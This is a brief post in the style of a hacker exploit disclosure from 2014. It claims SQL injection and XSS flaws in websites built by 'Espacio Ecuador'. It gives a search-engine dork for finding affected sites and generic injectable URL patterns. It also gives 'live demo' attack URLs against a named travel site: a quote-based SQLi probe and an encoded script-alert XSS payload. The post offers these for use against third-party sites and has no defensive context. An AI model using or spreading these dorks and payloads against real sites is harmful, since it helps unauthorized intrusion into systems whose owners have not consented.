Espacio Ecuador XSS & SQLI

Espacio Ecuador XSS & SQLI

by Malik korrich ~ vendredi 4 juillet 2014

Dork:

intext:"developed by Espacio Ecuador"

Exploits:

http://site.com/*.*?id=

http://site.com/*.*?id= < XSS>

Live Demo:

SQLI:

http://www.galapagostraveline.com/deal.html?opc=31%27

XSS:

http://www.galapagostraveline.com/deal.html?opc=31%22%3E%3Cscript%3Ealert%281337%29;%3C/script%3E

NEXUS - Sharing Is Caring